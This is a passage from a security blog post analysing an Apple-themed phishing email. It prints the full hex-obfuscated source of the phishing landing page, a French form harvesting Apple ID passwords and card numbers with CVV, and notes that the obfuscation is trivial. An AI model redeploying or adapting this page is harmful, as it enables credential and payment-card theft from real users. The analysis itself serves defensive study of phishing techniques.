New Trends in Phishing Pages?

What I’m describing in this post is no rocket science. It’s neither a state of the art analysis. It’s an observation that I made in how a technique, used in obfuscating certain malicious web code is now also been used in obfuscating phishing pages.

Today, via via, I received a phishing mail from someone claiming to be Apple:

alt text

First, I retrieved what’s on the URL via wget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ cd /tmp && wget http://some-url.tld/verification/
--2014-02-12 09:54:06--  http://some-url.tld/verification/
Resolving some-url.tld (some-url.tld)... a.b.c.d
Connecting to some-url.tld (some-url.tld)|a.b.c.d|:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: eb12768a65b69d47d514ba96b53ba698 [following]
--2014-02-12 09:54:07--  http://some-url.tld/verification/eb12768a65b69d47d514ba96b53ba698
Connecting to some-url.tld (some-url.tld)|a.b.c.d|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://some-url.tld/verification/eb12768a65b69d47d514ba96b53ba698/ [following]
--2014-02-12 09:54:07--  http://some-url.tld/verification/eb12768a65b69d47d514ba96b53ba698/
Connecting to some-url.tld (some-url.tld)|a.b.c.d|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18536 (18K) [text/html]
Saving to: ‘index.html’

100%[======================================================================================================================>] 18,536      --.-K/s   in 0.001s

2014-02-12 09:54:07 (13.4 MB/s) - ‘index.html’ saved [18536/18536]

Nothing spectacular here. The URL mentioned in the mail redirects to a file in another directory on the same web server. Here, an index.html is offered.

When looking at the index.html file, you notice that this isn’t regular JavaScript syntax. As you can see, it’s clearly obfuscated.

1
2
3
4
5
<Script Language='Javascript'>
<!-- HTML Encryption provided by iWEBTOOL.com -->
<!--
document.write(unescape('%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%68%74%6D%6C%3E%0A%20%20%20%20%3C%68%65%61%64%3E%0A%20%20%20%20%20%20%20%20%3C%74%69%74%6C%65%3E%3C%2F%74%69%74%6C%65%3E%0A%20%20%20%20%20%20%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%43%6F%6E%74%65%6E%74%2D%54%79%70%65%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%55%54%46%2D%38%22%3E%0A%20%20%20%20%20%20%20%20%3C%6C%69%6E%6B%20%68%72%65%66%3D%22%53%74%79%6C%65%2F%4D%61%69%6E%53%74%79%6C%65%2E%63%73%73%22%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%20%72%65%6C%3D%22%73%74%79%6C%65%73%68%65%65%74%22%3E%20%0A%20%20%20%20%20%20%20%20%3C%6C%69%6E%6B%20%68%72%65%66%3D%22%64%69%73%74%2F%63%73%73%2F%62%6F%6F%74%73%74%72%61%70%2E%63%73%73%22%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%20%72%65%6C%3D%22%73%74%79%6C%65%73%68%65%65%74%22%3E%0A%20%20%20%20%20%20%20%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%4A%73%2F%6A%71%75%65%72%79%2D%32%2E%31%2E%30%2E%6A%73%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%0A%20%20%20%20%3C%2F%68%65%61%64%3E%0A%20%20%20%20%3C%62%6F%64%79%20%73%74%79%6C%65%3D%22%62%61%63%6B%67%72%6F%75%6E%64%2D%63%6F%6C%6F%72%3A%20%23%46%32%46%33%46%34%3B%22%3E%0A%0A%20%20%20%20%20%20%20%20%3C%68%65%61%64%65%72%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6D%67%20%73%72%63%3D%22%49%6D%61%67%65%73%2F%43%61%70%74%75%72%65%31%2E%50%4E%47%22%3E%0A%20%20%20%20%20%20%20%20%3C%2F%68%65%61%64%65%72%3E%20%0A%0A%20%20%20%20%20%20%20%20%3C%73%65%63%74%69%6F%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%61%72%74%69%63%6C%65%20%69%64%3D%22%61%72%31%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6D%67%20%73%72%63%3D%22%49%6D%61%67%65%73%2F%63%6F%6E%74%65%6E%74%2D%69%63%6F%6E%73%2E%70%6E%67%22%3E%3C%62%72%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%68%31%3E%56%6F%74%72%65%20%69%64%65%6E%74%69%66%69%61%6E%74%20%41%70%70%6C%65%3C%2F%68%31%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%50%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%6F%75%73%20%70%65%72%6D%65%74%20%64%27%61%63%63%E9%64%65%72%20%66%61%63%69%6C%65%6D%65%6E%74%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%E0%20%75%6E%65%20%76%61%73%74%65%20%67%61%6D%6D%65%20%64%65%20%73%65%72%76%69%63%65%73%20%41%70%70%6C%65%2C%20%74%65%6C%73%20%71%75%65%20%6C%27%69%54%75%6E%65%73%20%53%74%6F%72%65%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6C%27%41%70%70%6C%65%20%53%74%6F%72%65%20%65%6E%20%6C%69%67%6E%65%2C%20%69%43%68%61%74%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%74%20%62%69%65%6E%20%70%6C%75%73%20%65%6E%63%6F%72%65%2E%20%56%6F%73%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%73%20%6E%65%20%73%65%72%6F%6E%74%20%63%6F%6D%6D%75%6E%69%71%75%E9%65%73%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%E0%20%70%65%72%73%6F%6E%6E%65%2C%20%73%61%75%66%20%73%69%20%76%6F%75%73%20%6E%6F%75%73%20%79%20%61%75%74%6F%72%69%73%65%7A%2E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%50%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%61%72%74%69%63%6C%65%3E%0A%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%61%72%74%69%63%6C%65%20%69%64%3D%22%61%72%32%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%66%6F%72%6D%20%6E%61%6D%65%3D%22%69%54%75%6E%65%73%22%20%69%64%3D%22%69%54%75%6E%65%73%22%20%63%6C%61%73%73%3D%22%66%31%22%20%6D%65%74%68%6F%64%3D%22%50%4F%53%54%22%20%61%63%74%69%6F%6E%3D%22%70%61%72%61%6D%31%2E%70%68%70%22%20%6F%6E%53%75%62%6D%69%74%3D%22%72%65%74%75%72%6E%20%76%61%6C%69%64%65%72%28%29%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%68%31%3E%43%6F%6E%66%69%72%6D%61%74%69%6F%6E%20%64%65%20%76%6F%74%72%65%20%69%64%65%6E%74%69%74%E9%2E%3C%2F%68%31%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%70%3E%53%61%69%73%69%73%73%65%7A%20%6C%65%73%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%73%20%61%73%73%6F%63%69%E9%73%20%E0%20%76%6F%74%72%65%20%63%6F%6D%70%74%65%20%69%54%75%6E%65%73%2E%2E%2E%3C%2F%70%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%62%72%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%41%70%70%6C%65%49%44%22%20%6E%61%6D%65%3D%22%70%61%72%61%6D%31%22%20%69%64%3D%22%63%48%31%22%20%72%65%71%75%69%72%65%64%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%4D%6F%74%20%44%65%20%50%61%73%73%65%22%20%6E%61%6D%65%3D%22%70%61%72%61%6D%32%22%20%69%64%3D%22%63%48%32%22%20%72%65%71%75%69%72%65%64%3E%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%4E%6F%6D%22%20%6E%61%6D%65%3D%22%6E%6F%6D%22%20%69%64%3D%22%63%48%33%22%20%72%65%71%75%69%72%65%64%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%50%72%E9%6E%6F%6D%22%20%6E%61%6D%65%3D%22%70%72%65%6E%6F%6D%22%20%69%64%3D%22%63%48%34%22%20%72%65%71%75%69%72%65%64%3E%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%6E%61%6D%65%3D%22%64%61%74%65%6E%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%44%61%74%65%20%44%65%20%4E%61%69%73%73%61%6E%63%65%22%20%69%64%3D%22%63%48%31%32%22%20%72%65%71%75%69%72%65%64%20%3E%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%4C%69%67%6E%65%20%64%27%61%64%72%65%73%73%65%22%20%6E%61%6D%65%3D%22%61%64%72%65%73%73%65%22%20%69%64%3D%22%63%48%35%22%20%72%65%71%75%69%72%65%64%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%43%6F%64%65%20%70%6F%73%74%61%6C%22%20%6E%61%6D%65%3D%22%7A%69%70%22%20%69%64%3D%22%63%48%36%22%20%72%65%71%75%69%72%65%64%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%54%E9%6C%E9%70%68%6F%6E%65%22%20%6E%61%6D%65%3D%22%74%65%6C%65%70%68%6F%6E%65%22%20%69%64%3D%22%63%48%37%22%20%72%65%71%75%69%72%65%64%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%56%69%6C%6C%65%22%20%6E%61%6D%65%3D%22%76%69%6C%6C%65%22%20%69%64%3D%22%63%48%38%22%20%72%65%71%75%69%72%65%64%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6D%67%20%73%72%63%3D%22%49%6D%61%67%65%73%2F%63%63%2E%6A%70%67%22%20%69%64%3D%22%69%6D%67%43%22%3E%3C%62%72%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%4E%75%6D%E9%72%6F%20%64%65%20%63%61%72%74%65%20%62%61%6E%63%61%69%72%65%22%20%6E%61%6D%65%3D%22%6E%75%6D%22%20%69%64%3D%22%63%48%39%22%20%72%65%71%75%69%72%65%64%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%44%61%74%65%20%64%27%E9%78%70%69%72%61%74%69%6F%6E%22%20%6E%61%6D%65%3D%22%6D%6F%69%73%22%20%69%64%3D%22%63%48%31%30%22%20%72%65%71%75%69%72%65%64%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%74%65%78%74%22%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%43%56%56%2F%43%56%43%22%20%6E%61%6D%65%3D%22%78%72%79%70%74%22%20%69%64%3D%22%63%48%31%31%22%20%72%65%71%75%69%72%65%64%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%62%75%74%74%6F%6E%20%74%79%70%65%3D%22%53%75%62%6D%69%74%22%20%63%6C%61%73%73%3D%22%62%74%6E%20%62%74%6E%2D%64%65%66%61%75%6C%74%20%62%74%6E%2D%69%6E%66%6F%22%20%69%64%3D%22%62%74%6E%31%22%3E%56%61%6C%69%64%65%72%3C%2F%62%75%74%74%6F%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%62%75%74%74%6F%6E%20%74%79%70%65%3D%22%62%75%74%74%6F%6E%22%20%63%6C%61%73%73%3D%22%62%74%6E%20%62%74%6E%2D%70%72%69%6D%61%72%79%20%62%74%6E%2D%6C%67%22%20%20%69%64%3D%22%62%74%6E%32%22%3E%43%6F%6E%6E%65%78%69%6F%6E%3C%2F%62%75%74%74%6F%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%66%6F%72%6D%3E%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%61%72%74%69%63%6C%65%3E%0A%09%09%09%0A%09%09%0A%09%09%09%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%09%09%66%75%6E%63%74%69%6F%6E%20%76%61%6C%69%64%65%72%28%29%7B%0A%09%09%20%20%20%69%66%20%28%20%64%6F%63%75%6D%65%6E%74%2E%69%54%75%6E%65%73%2E%6E%6F%6D%2E%76%61%6C%75%65%20%3D%3D%20%22%22%20%29%7B%0A%09%09%09%09%61%6C%65%72%74%20%28%20%22%56%65%75%69%6C%6C%65%7A%20%65%6E%74%72%65%72%20%76%6F%74%72%65%20%6E%6F%6D%22%20%29%3B%0A%09%09%09%09%64%6F%63%75%6D%65%6E%74%2E%69%54%75%6E%65%73%2E%6E%6F%6D%2E%66%6F%63%75%73%28%29%3B%0A%09%09%09%09%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%0A%09%09%09%7D%0A%09%09%09%09%09%20%20%20%69%66%20%28%20%64%6F%63%75%6D%65%6E%74%2E%69%54%75%6E%65%73%2E%61%64%72%65%73%73%65%2E%76%61%6C%75%65%20%3D%3D%20%22%22%20%29%7B%0A%09%09%09%09%61%6C%65%72%74%20%28%20%22%56%65%75%69%6C%6C%65%7A%20%65%6E%74%72%65%72%20%76%6F%74%72%65%20%61%64%72%65%73%73%65%22%20%29%3B%0A%09%09%09%09%64%6F%63%75%6D%65%6E%74%2E%69%54%75%6E%65%73%2E%61%64%72%65%73%73%65%2E%66%6F%63%75%73%28%29%3B%0A%09%09%09%09%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%0A%09%09%09%7D%0A%0A%09%09%20%20%20%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%69%54%75%6E%65%73%2E%78%72%79%70%74%2E%76%61%6C%75%65%2E%6D%61%74%63%68%28%2F%5E%5B%30%2D%39%5D%7B%33%7D%24%2F%29%29%7B%0A%09%09%09%09%61%6C%65%72%74%20%28%20%22%43%72%79%70%74%6F%67%72%61%6D%6D%65%20%28%43%56%56%29%20%69%6E%76%61%6C%69%64%65%22%20%29%3B%0A%09%09%09%09%64%6F%63%75%6D%65%6E%74%2E%69%54%75%6E%65%73%2E%78%72%79%70%74%2E%66%6F%63%75%73%28%29%3B%0A%09%09%09%09%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%0A%09%09%09%7D%0A%09%09%20%20%20%69%66%20%28%20%64%6F%63%75%6D%65%6E%74%2E%69%54%75%6E%65%73%2E%6D%6F%69%73%2E%76%61%6C%75%65%20%3D%3D%20%22%30%22%29%7B%0A%09%09%09%09%61%6C%65%72%74%20%28%20%22%56%6F%75%73%20%61%76%65%7A%20%69%6E%64%69%71%75%E9%20%75%6E%65%20%64%61%74%65%20%64%27%65%78%70%69%72%61%74%69%6F%6E%20%69%6E%76%61%6C%69%64%65%22%20%29%3B%0A%09%09%09%09%64%6F%63%75%6D%65%6E%74%2E%69%54%75%6E%65%73%2E%6D%6F%69%73%2E%66%6F%63%75%73%28%29%3B%0A%09%09%09%09%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%0A%09%09%09%7D%0A%09%09%7D%0A%09%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09%0A%09%09%09%0A%09%09%09%0A%09%09%09%0A%09%09%09%0A%09%09%09%09%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%66%75%6E%63%74%69%6F%6E%20%6C%6F%67%69%6E%28%29%0A%7B%0A%76%61%72%20%78%3D%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%22%69%54%75%6E%65%73%22%5D%5B%22%70%61%72%61%6D%31%22%5D%2E%76%61%6C%75%65%3B%09%69%66%20%28%78%3D%3D%6E%75%6C%6C%20%7C%7C%20%78%3D%3D%22%41%70%70%6C%65%20%49%44%22%29%20%7B%20%61%6C%65%72%74%28%22%56%65%75%69%6C%6C%65%7A%20%73%61%69%73%69%72%20%76%6F%74%72%65%20%69%64%65%6E%74%69%66%69%63%61%74%69%6F%6E%2E%22%29%3B%20%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%20%7D%0A%76%61%72%20%78%3D%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%22%69%54%75%6E%65%73%22%5D%5B%22%70%61%72%61%6D%32%22%5D%2E%76%61%6C%75%65%3B%09%69%66%20%28%78%3D%3D%6E%75%6C%6C%20%7C%7C%20%78%3D%3D%22%4D%6F%74%20%64%65%20%70%61%73%73%65%22%29%20%7B%20%61%6C%65%72%74%28%22%56%65%75%69%6C%6C%65%7A%20%73%61%69%73%69%72%20%76%6F%74%72%65%20%6D%6F%74%20%64%65%20%70%61%73%73%65%2E%22%29%3B%20%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%20%7D%0A%76%61%72%20%78%3D%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%22%69%54%75%6E%65%73%22%5D%5B%22%70%61%72%61%6D%31%22%5D%2E%76%61%6C%75%65%3B%09%69%66%20%28%78%3D%3D%6E%75%6C%6C%20%7C%7C%20%78%2E%6C%65%6E%67%74%68%20%3C%36%29%20%7B%20%61%6C%65%72%74%28%22%49%64%65%6E%74%69%66%69%63%61%74%69%6F%6E%20%69%6E%76%61%6C%69%64%2E%22%29%3B%20%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%20%7D%0A%76%61%72%20%78%3D%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%22%69%54%75%6E%65%73%22%5D%5B%22%70%61%72%61%6D%32%22%5D%2E%76%61%6C%75%65%3B%09%69%66%20%28%78%3D%3D%6E%75%6C%6C%20%7C%7C%20%78%2E%6C%65%6E%67%74%68%20%3C%34%29%20%7B%20%61%6C%65%72%74%28%22%4D%6F%74%20%64%65%20%70%61%73%73%65%20%69%6E%76%61%6C%69%64%2E%22%29%3B%20%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%20%7D%0A%0A%7D%0A%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%64%6F%63%75%6D%65%6E%74%29%2E%72%65%61%64%79%28%29%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%33%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%34%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%35%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%36%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%37%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%38%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%39%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%31%30%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%31%31%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%62%74%6E%31%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%31%32%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%69%6D%67%43%27%29%2E%68%69%64%65%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3B%0A%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%62%74%6E%32%27%29%2E%63%6C%69%63%6B%28%66%75%6E%63%74%69%6F%6E%28%29%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%73%65%63%74%69%6F%6E%27%29%2E%63%73%73%28%22%68%65%69%67%68%74%22%2C%20%22%31%30%35%30%70%78%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%61%72%32%27%29%2E%63%73%73%28%22%6D%61%72%67%69%6E%2D%74%6F%70%22%2C%20%22%2D%35%30%70%78%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%33%27%29%2E%73%6C%69%64%65%44%6F%77%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%34%27%29%2E%73%6C%69%64%65%44%6F%77%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%35%27%29%2E%73%6C%69%64%65%44%6F%77%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%36%27%29%2E%73%6C%69%64%65%44%6F%77%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%37%27%29%2E%73%6C%69%64%65%44%6F%77%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%38%27%29%2E%73%6C%69%64%65%44%6F%77%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%39%27%29%2E%73%6C%69%64%65%44%6F%77%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%31%30%27%29%2E%73%6C%69%64%65%44%6F%77%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%31%31%27%29%2E%73%6C%69%64%65%44%6F%77%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%31%32%27%29%2E%73%6C%69%64%65%44%6F%77%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%62%74%6E%31%27%29%2E%73%6C%69%64%65%44%6F%77%6E%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%62%74%6E%32%27%29%2E%73%6C%69%64%65%55%70%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%31%27%29%2E%73%6C%69%64%65%55%70%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%63%48%32%27%29%2E%73%6C%69%64%65%55%70%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%27%23%69%6D%67%43%27%29%2E%73%6C%69%64%65%55%70%28%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%73%63%72%69%70%74%3E%0A%20%20%20%20%20%20%20%20%3C%2F%73%65%63%74%69%6F%6E%3E%0A%0A%20%20%20%20%20%20%20%20%3C%66%6F%6F%74%65%72%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%43%6F%70%79%72%69%67%68%74%20%A9%20%32%30%31%34%20%41%70%70%6C%65%20%49%6E%63%2E%20%41%6C%6C%20%72%69%67%68%74%73%20%72%65%73%65%72%76%65%64%2E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%70%61%6E%20%63%6C%61%73%73%3D%22%70%69%70%65%22%3E%7C%3C%2F%73%70%61%6E%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%61%20%68%72%65%66%3D%22%23%22%3E%50%72%69%76%61%63%79%20%50%6F%6C%69%63%79%3C%2F%61%3E%0A%20%20%20%20%20%20%20%20%3C%2F%66%6F%6F%74%65%72%3E%0A%0A%0A%20%20%20%20%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E%0A'));
//-->

The perpetrators left a useful comment behind:

1
<!-- HTML Encryption provided by iWEBTOOL.com -->

As you can see, the obfuscated code above is no encryption at all but just some strings that are represented in hex code.

When you deobfuscate the code you get the real HTML (and mainly JavaScript) code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
<!DOCTYPE html>
<html>
    <head>
        <title></title>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <link href="Style/MainStyle.css" type="text/css" rel="stylesheet">
